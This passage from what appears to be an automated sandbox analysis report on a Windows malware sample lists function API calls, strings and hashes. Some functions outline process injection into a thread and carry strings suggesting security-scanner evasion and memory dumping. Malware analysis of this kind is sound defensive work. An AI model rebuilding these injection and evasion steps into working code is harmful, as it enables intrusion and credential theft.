Part of subcall function 02835A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02835B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02835B37
Part of subcall function 02835A78: RegQueryValueExA.ADVAPI32(?,02835CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02835B7D,?,80000001), ref: 02835B55
Part of subcall function 02835A78: RegCloseKey.ADVAPI32(?,02835B84,00000000,?,?,00000000,02835B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02835B77

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: 1e80a3bbc37518111bc2fc1a877ffae3138f4f0fc0566828a07790ec136ca274
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: BFE06DB9A002148BCB11DE5CC8C0A9737D8AB08B50F400565EC58DF34AD3B4D9208BD1

Function 02837E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0284FD00,ScanString,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString,0289237C,0285B40C,UacScan,0289237C,0285B40C,UacInitialize), ref: 02837E1B

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction ID: 888b2f911c2d32968220aa00c486c93f32c32a3d68e831370272ae0ad13fe476
Opcode Fuzzy Hash: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction Fuzzy Hash: 5EC08CED2122020A1A52B1FC0CC402A42C809042393A42F31E63CEA2E2E321C82324A1

Function 02834C48 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A
SysReAllocStringLen.OLEAUT32(0285C2B4,0284ED84,000000B4), ref: 02834C62

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction ID: 9eb8f0d25c0c72e60c123b2d12f4de6d0a40da9955d506ed0d59a11c91ee340b
Opcode Fuzzy Hash: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction Fuzzy Hash: EBD0807C5001055DBF2FDD994544937736AA9D130A34CC25DDC0ECA241EB75DC02CAF1

Function 0285BF84 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,0285BF78,00000000,00000001), ref: 0285BF94

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 4ed03842f9f6df0c5862ce3d97bd7647f707e14d41a9f696af56e1e21336e4ff
Instruction ID: 8c5a73d0c0865a95cd4914eaa6dcba166fa955e19a2201d57a0ae3c26ad6782f
Opcode Fuzzy Hash: 4ed03842f9f6df0c5862ce3d97bd7647f707e14d41a9f696af56e1e21336e4ff
Instruction Fuzzy Hash: 76C048F87883407AFA1096A92CC2F77218DD714B02F200452BA04EE2C1D1E268544A61

Function 028315CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02831A03), ref: 028315E2

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 757aad050b1064b48ec3ffb949c423d6c60b4bb8d12220f76193fe4448917c0c
Instruction ID: d0e962ba5ba1ab034e955da970df5e909211dc3479763dc96af6461aa38dcffc
Opcode Fuzzy Hash: 757aad050b1064b48ec3ffb949c423d6c60b4bb8d12220f76193fe4448917c0c
Instruction Fuzzy Hash: CCF037F8B413404BEB06EF7D9D443016AD2EB89344FA08579E709DB6D8E77184018B40

Function 02831682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 028316A4

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fe3f1458e49eb9cba1da7c7d47fd85667bc3b366002071c6cd7908b9836f0478
Instruction ID: d3c8e870b309ccaca05dab0584fe9bb644475fa796e61877e399880eb4856db2
Opcode Fuzzy Hash: fe3f1458e49eb9cba1da7c7d47fd85667bc3b366002071c6cd7908b9836f0478
Instruction Fuzzy Hash: 85F0F0BAB446967BD7118E4A9C88782BBA4FB40710F080139EA0CD7384D7B1A8108BD4

Function 028316E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02831FE4), ref: 02831704

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 8e37bbc273c8e106f38e8c04c59a84e340d840955f95363e4c0d39e49d883ea3
Instruction ID: 7c38089a4a18ed5d31ab8f6eccf65e2d08a9a963bd354b6dae0ab30df65181cf
Opcode Fuzzy Hash: 8e37bbc273c8e106f38e8c04c59a84e340d840955f95363e4c0d39e49d883ea3
Instruction Fuzzy Hash: A9E0CD7D3003016FD7115B7D5D88712BBDCEB44A54F184875F50DDB285D760E8108BA0

Non-executed Functions

Function 0284A954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0284ABDB,?,?,0284AC6D,00000000,0284AD49), ref: 0284A968
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0284A980
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0284A992
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0284A9A4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0284A9B6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0284A9C8
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0284A9DA
GetProcAddress.KERNEL32(00000000,Process32First), ref: 0284A9EC
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0284A9FE
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0284AA10
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0284AA22
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0284AA34
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0284AA46
GetProcAddress.KERNEL32(00000000,Module32First), ref: 0284AA58
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0284AA6A
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0284AA7C
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0284AA8E

Strings

Heap32Next, xrefs: 0284A9C0
Thread32First, xrefs: 0284AA2C
Process32Next, xrefs: 0284A9F6
Thread32Next, xrefs: 0284AA3E
Module32FirstW, xrefs: 0284AA74
Process32First, xrefs: 0284A9E4
CreateToolhelp32Snapshot, xrefs: 0284A978
Process32NextW, xrefs: 0284AA1A
Module32Next, xrefs: 0284AA62
kernel32.dll, xrefs: 0284A963
Heap32First, xrefs: 0284A9AE
Heap32ListNext, xrefs: 0284A99C
Module32NextW, xrefs: 0284AA86
Toolhelp32ReadProcessMemory, xrefs: 0284A9D2
Process32FirstW, xrefs: 0284AA08
Heap32ListFirst, xrefs: 0284A98A
Module32First, xrefs: 0284AA50

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: e9ca47494e3935ca2c4763dc7fc268cb433c8b9db14ddabbd40cc825e492b092
Instruction ID: 034577f44f8f5f93fa7220730226bee43f3a9e586e606f961c2654cf8b209e2d
Opcode Fuzzy Hash: e9ca47494e3935ca2c4763dc7fc268cb433c8b9db14ddabbd40cc825e492b092
Instruction Fuzzy Hash: 5531A2BCAC1B24BFFB46DFBCD8B5A263799AB057407040965A401CF249FB7898108F96

Function 02848BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0284881C: LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
Part of subcall function 0284881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
Part of subcall function 0284881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879
Part of subcall function 0284881C: FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3

GetThreadContext.KERNEL32(00000000,02892420,ScanString,028923A4,0284A774,UacInitialize,028923A4,0284A774,ScanBuffer,028923A4,0284A774,ScanBuffer,028923A4,0284A774,UacInitialize,028923A4), ref: 0284943A

Part of subcall function 02847CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C

SetThreadContext.KERNEL32(00000000,02892420,ScanBuffer,028923A4,0284A774,ScanString,028923A4,0284A774,Initialize,028923A4,0284A774,00000000,-00000008,028924F8,00000004,028924FC), ref: 0284A14F
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,02892420,ScanBuffer,028923A4,0284A774,ScanString,028923A4,0284A774,Initialize,028923A4,0284A774,00000000,-00000008,028924F8), ref: 0284A15C

Part of subcall function 02848798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize,028923A4,0284A774,UacScan), ref: 028487AC
Part of subcall function 02848798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028487C6
Part of subcall function 02848798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize), ref: 02848802

Strings

BCryptQueryProviderRegistration, xrefs: 0284A3BF
BCryptRegisterProvider, xrefs: 0284A3D3
advapi32, xrefs: 0284A53D
UacInitialize, xrefs: 02848E6A, 028491CB, 0284934A, 0284944E, 0284984A, 028499BE, 0284A168
NtOpenProcess, xrefs: 0284A6DB
SLGetLicenseInformation, xrefs: 02849197
NtSetSecurityObject, xrefs: 0284A6C7
dbgcore, xrefs: 0284A551, 0284A565
NtReadVirtualMemory, xrefs: 0284A458
UacScan, xrefs: 02848CAB, 02848EC3, 028494BF, 028498BB, 02849A2F, 0284A1D9, 0284A671
NtOpenObjectAuditAlarm, xrefs: 0284A46C, 0284A524
BCryptVerifySignature, xrefs: 0284A3AB
ScanBuffer, xrefs: 02848D04, 02848D8C, 02849127, 0284923C, 028492D9, 02849612, 02849799, 0284992C, 02849B11, 02849C26, 02849DE4, 02849F54, 0284A0C7, 0284A2BB, 0284A4D9, 0284A61F
ntdll, xrefs: 0284A45D, 0284A471, 0284A529, 0284A6CC, 0284A6E0
sppc, xrefs: 028491AE
MiniDumpReadDumpStream, xrefs: 0284A560
Initialize, xrefs: 02848F22, 02849530, 028496B7, 02849AA0, 02849D02, 02849E72, 02849FE5, 0284A24A, 0284A57B
bcrypt, xrefs: 0284A3B0, 0284A3C4, 0284A3D8
OpenSession, xrefs: 02848BE1, 02849004, 028490B6, 0284A487, 0284A5CD
ScanString, xrefs: 02848C3A, 02848DE5, 02848F93, 028493BB, 028495A1, 02849728, 02849BB5, 02849D73, 02849EE3, 0284A056, 0284A341, 0284A3EE
MiniDumpWriteDump, xrefs: 0284A54C
I_QueryTagInformation, xrefs: 0284A538

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Library$Thread$AddressContextFreeLoadProc$HandleMemoryModuleResumeVirtualWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4175202198-51457883
Opcode ID: d88a186f58144e9640684ce66be7a3528ec70d264499f9f62e3e62493d9e4560
Instruction ID: dbb4e3a427d28a0e80a549579840bc2d45d3fac1972c4b868b012d915d89a57b
Opcode Fuzzy Hash: d88a186f58144e9640684ce66be7a3528ec70d264499f9f62e3e62493d9e4560
Instruction Fuzzy Hash: 55E2107CA9011C9FEB16EB68CCA0EDE73BAAF45300F1041A1E545EB315DE74AE458F92

Function 02848BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0284881C: LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
Part of subcall function 0284881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
Part of subcall function 0284881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879
Part of subcall function 0284881C: FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3

GetThreadContext.KERNEL32(00000000,02892420,ScanString,028923A4,0284A774,UacInitialize,028923A4,0284A774,ScanBuffer,028923A4,0284A774,ScanBuffer,028923A4,0284A774,UacInitialize,028923A4), ref: 0284943A

Strings

BCryptQueryProviderRegistration, xrefs: 0284A3BF
BCryptRegisterProvider, xrefs: 0284A3D3
advapi32, xrefs: 0284A53D
UacInitialize, xrefs: 02848E6A, 028491CB, 0284934A, 0284944E, 0284A168
NtOpenProcess, xrefs: 0284A6DB
SLGetLicenseInformation, xrefs: 02849197
NtSetSecurityObject, xrefs: 0284A6C7
dbgcore, xrefs: 0284A551, 0284A565
NtReadVirtualMemory, xrefs: 0284A458
UacScan, xrefs: 02848CAB, 02848EC3, 028494BF, 028498BB, 02849A2F, 0284A1D9, 0284A671
NtOpenObjectAuditAlarm, xrefs: 0284A46C, 0284A524
BCryptVerifySignature, xrefs: 0284A3AB
ScanBuffer, xrefs: 02848D04, 02848D8C, 02849127, 0284923C, 028492D9, 02849612, 02849799, 0284992C, 02849B11, 02849C26, 02849DE4, 02849F54, 0284A0C7, 0284A2BB, 0284A4D9, 0284A61F
ntdll, xrefs: 0284A45D, 0284A471, 0284A529, 0284A6CC, 0284A6E0
sppc, xrefs: 028491AE
MiniDumpReadDumpStream, xrefs: 0284A560
Initialize, xrefs: 02848F22, 02849530, 028496B7, 02849AA0, 02849D02, 02849E72, 02849FE5, 0284A24A, 0284A57B
bcrypt, xrefs: 0284A3B0, 0284A3C4, 0284A3D8
OpenSession, xrefs: 02848BE1, 02849004, 028490B6, 0284A487, 0284A5CD
ScanString, xrefs: 02848C3A, 02848DE5, 02848F93, 028493BB, 028495A1, 02849728, 02849BB5, 02849D73, 02849EE3, 0284A056, 0284A341, 0284A3EE
MiniDumpWriteDump, xrefs: 0284A54C
I_QueryTagInformation, xrefs: 0284A538

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Library$AddressContextFreeHandleLoadModuleProcThread
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1116111917-51457883
Opcode ID: 3a269f2151b37e13f3db32455683fd236fdf0925c181eafbcf8766c8973a2644
Instruction ID: 297990b369b6378e639484b8ce8c6a526368a2b14bdd2e213dbfbce9bea122c3
Opcode Fuzzy Hash: 3a269f2151b37e13f3db32455683fd236fdf0925c181eafbcf8766c8973a2644
Instruction Fuzzy Hash: 88E2107CA9011C9FEB16EB68CCA0EDE73BAAF45300F1041A1E545EB315DE74AE458F92

Function 028358B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02836BC8,02830000,0285E790), ref: 028358D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 028358E8
lstrcpynA.KERNEL32(?,?,?), ref: 02835918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 0283597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 028359B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 028359C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 028359D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 028359E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000), ref: 02835A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8), ref: 02835A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02835A45

Strings

\, xrefs: 028359F5
kernel32.dll, xrefs: 028358CC
GetLongPathNameA, xrefs: 028358DF

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 20ad37e2dbd9a3ff8bb3c1239f3378d64f7da3c2bd0328ea6728ccfc9bc961a5
Instruction ID: 5f0444033f0d6f84729ad0c1e8e34a4898fa5da764bb589bd3a6c8b594ade00d
Opcode Fuzzy Hash: 20ad37e2dbd9a3ff8bb3c1239f3378d64f7da3c2bd0328ea6728ccfc9bc961a5
Instruction Fuzzy Hash: 3C417F7DD00259AFDB12DAE8CC88ADEB3BEAF08310F4449A5E548E7241D7789B448F90

Function 02835B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02835B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02835BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02835BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02835BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02835C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02835C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02835C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02835C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02835C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02835C97

Strings

Software\Borland\Delphi\Locales, xrefs: 02835AE4
Software\Borland\Locales, xrefs: 02835AA8, 02835AC6

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
